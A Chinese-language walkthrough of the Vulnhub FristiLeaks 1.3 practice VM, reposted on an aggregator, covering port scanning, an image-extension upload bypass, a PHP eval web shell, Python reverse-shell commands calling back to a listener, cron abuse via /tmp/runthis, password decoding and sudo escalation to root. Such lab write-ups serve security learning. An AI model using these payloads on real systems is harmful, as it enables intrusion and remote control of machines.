Vulnhub-FristiLeaks_1.3

news/2025/3/13 0:46:20/文章来源:https://www.cnblogs.com/GuijiH6/p/18758698

一、靶机搭建

选择扫描虚拟机

选择路径即可

二、信息收集

靶机信息

产品名称:Fristileaks 1.3 
作者:Ar0xA 
发布日期: 2015 年 12 月 14 日
目标:获取root(uid 0)并读取标志文件     #UID为0,即root权限
难度:初级 
说明: 一个为荷兰非正式黑客聚会Fristileaks制作的小型虚拟机。意味着可以在几个小时内破解,而不需要调试器、逆向工程等。。

扫ip

靶机ip:192.168.108.149

扫开放端口

只开放了一个80端口

扫版本服务信息

信息如下:

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

指纹探测

nmap 192.168.108.149 -p 80 -sV -sC -O --version-all 

信息如下:

运行版本: Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)

目录扫描

dirb扫描

dirsearch扫描

信息如下:

http://192.168.108.149/robots.txt
http://192.168.108.149/index.php

三、Web渗透

信息收集

看看80端口,给了个提示,应该在4个小时完成

访问之前扫描出来的robots.txt,给了下面的提示

逐个访问都是下面的提示

这里根据一开始页面的信息,试了fristi目录,是一个登录页面

看看源码,意思是源码的图片使用base64加密,并且放了一些信息,作者:eezeepz,这个作者很重要

翻到下面是一串base64编码,解码过来是图片转过来的

利用随波逐流转换成图片

得到下面的信息,keKkeKKeKKeKkEkkEk,应该是密码

登录

登录成功

文件上传

点击上传文件,先上传一个php后缀木马,发现只允许上传图片格式

这里利用 shell.php.jpg上传,实际上会被服务器认为是jpg文件,但是会解析php内容

track
<?php @eval($_POST["a"]);?>

访问成功

执行一下系统命令

python反弹shell

代码如下

url/fristi/uploads/shell.php.jpg?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权

信息收集

找找可以利用的信息

进入home目录看看,在提权的时候,没有什么头绪就可以去home目录和tmp目录下看看,发现三个目录,进入eezeepz看看

ls -la查看一下,发现一个notes.txt文件

查看该文本

如下

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次。

反向shell+脚本解密

这里的意思应该是只能利用 /usr/bin目录下的文件,要求在/tmp目录下放一个runthis文件,以amdin权限每分钟运行一次,写一个脚本

这是一个反向shell脚本

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.108.130",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

开启web服务

进入tmp目录,将其下载下来

将1.py执行的结果输入到runthis,即每分钟在该目录下执行一次

echo '/usr/bin/python /tmp/1.py' > runthis

这里开启监听,不过需要等一会,链接成功

先用python切换为交互模式,发现两个文本还有一个可能是用户名fristigod

信息如下,是某种加密而且做了逆向输出

cryptedpass.txt:mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt:=RFn0AKnlMHMPIzpyuTI0ITG

看看加密脚本

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sysdef encodeString(str):base64string= base64.b64encode(str)return codecs.encode(base64string[::-1], 'rot13')cryptoResult=encodeString(sys.argv[1])
print cryptoResult

写一个解密脚本2.py

import base64,codecs,sysdef decodeString(str):base64string= codecs.decode(str,'rot13')return base64.b64decode(base64string[::-1])cryptoResult=decodeString(sys.argv[1])
print cryptoResult

赋予权限并执行

执行

得到以下信息

thisisalsopw123
LetThereBeFristi!

链接新用户

链接fristigod用户,尝试上面的密码

执行成功,找找可以信息,发现一处任何用户都可以执行的脚本

直接以当前用户执行它并赋予bash权限

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功

找找flag在那,成功发现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/895342.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3.7学习开发app

教师要求笔记本本地的后端运行后,通过自己开发的手机app可以访问到 本来准备看完一个四个小时视频,后来发现不需要,视频大部分讲解如何开发一个完整的app,但是通过查ai资料就足以完成需求 主要是后端配置可以被外部访问的配置 server.port=8080 server.address=0.0.0.0 和 …

巨变的时代

记录作者对manus的期待AI发展的速度真是以天为计量单位。感觉昨天满眼还都是DeepSeek,结果马上就被Trae给刷屏。 又在刚刚,一家名为Monica的中国公司又推出Manus。 我也尝试注册了一个邀请码,等到审核通过后再来围观看看怎么个事吧:0

个人作业2查重系统

查重系统这个作业属于哪个课程 软件工程这个作业要求在哪里 作业要求这个作业的目标 初步使用PSP表格,完成一个文本查重系统我的GitHubPSP表格PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟)Planning 计划 45 60Estimate 估计这个任务需要多少时…

洛谷题单指南-图论之树-P3384 【模板】重链剖分/树链剖分

原题链接:https://www.luogu.com.cn/problem/P3384 题意解读:对树上某条最短路径(u到v的最短路径就是u-lca(u,v)-v)上的点修改(给每个点增加值)和查询(路径上所有点的和);对子树所有点修改(子树每个点增加值)和查询(子树所有点的和)。 解题思路: 暴力做法:路径修改和求和…

Kubernetes(K8S)内核优化常用参数详解

Kubernetes(K8S)内核优化常用参数详解小陈运维小陈运维,致力于运维技术博客文档分享。互相学习,相互进步。 2 人赞同了该文章 net.ipv4.tcp_keepalive_time=600 net.ipv4.tcp_keepalive_intvl=30 net.ipv4.tcp_keepalive_probes=10 net.ipv6.conf.all.disable_ipv6=1 net.…

北京大学DeepSeek系列教程:《DeepSeek与AIGC应用》

前言 今天大姚分享一个由北京大学推出的DeepSeek系列学习教程《DeepSeek与AIGC应用》,该文档全面介绍了DeepSeek-R1模型的技术特性、应用场景及其在AIGC领域的重要地位,同时深入剖析了AIGC的技术原理、应用价值、挑战及未来趋势,为听众提供了科学选择和使用AIGC工具的指导。…

fastadmin使用宝塔管理面板swoole4创建websocket服务并开启wss支持(改良可用)

1、安装swoole插件 我php的版本是7.4, Swoole4. 2、安装think-swoole 在网站站点根目录下运行composer require topthink/think-swoole:2.0.0特殊情况可强制安装composer require topthink/think-swoole:2.0.0 --ignore-platform-reqs 3、修改伪静态,加入代码location /wss …

均线实战精华:银山谷、金山谷、死亡谷,千万别小看,准确率极高

我们平常所说的“均线”,指的是移动平均线,即指定一个时间周期,将每日收盘价相加,除以这个周期,就得出该周期的平均价,用线将这些点连接,得到一条线。可以理解为周期内投资者买入股票的平均成本。 移动平均线的出现,对股票分析的“可视化”,贡献极大。自上世纪60年代,…

SciTech-EECS-Circuits-Power Electrics(功率器件): 电弧/电焊/电解/电铍:大功率 的 电流 时问+波形 的 数控脉冲放电 实现

SciTech-EECS-Circuits-Power Electrics(功率器件): 电弧/电焊/电解/电铍:大功率 的 电流 时问+波形 的 数控脉冲放电 实现 电焊 原理上是调制 高压大功率 电弧 熔接 焊条+工件; 但实际上,保障高质量、优异的焊接效果 和 超出客户预期 的满意度, 还要有“吸取众长、推陈出新”…

2.2.1 读取数据集

这里还要用pandas读取数据集,是因为这里是结构化数据,无论是统计学习还是深度学习,结构化数据使用pandas读入肯定是好的,下面两个概念(结构化数据和非结构化数据)就可以记一下了

手机端的增

这是javaweb版本的增: 测试内容:代码结构:model层: package model;public class Course {private int id;private String courseName;private String teacher;private String location;public Course() {}public Course(int id, String courseName, String teacher, String …

Java线程池中的线程何时被销毁

线程池中的线程是否会被销毁,取决于线程池的配置和运行状态。以下是详细解释:1. 线程池中线程的生命周期 线程池中的线程在以下情况下可能会被销毁:空闲线程超时:如果线程池允许核心线程超时(通过 allowCoreThreadTimeOut(true) 设置),当线程空闲时间超过 keepAliveTime…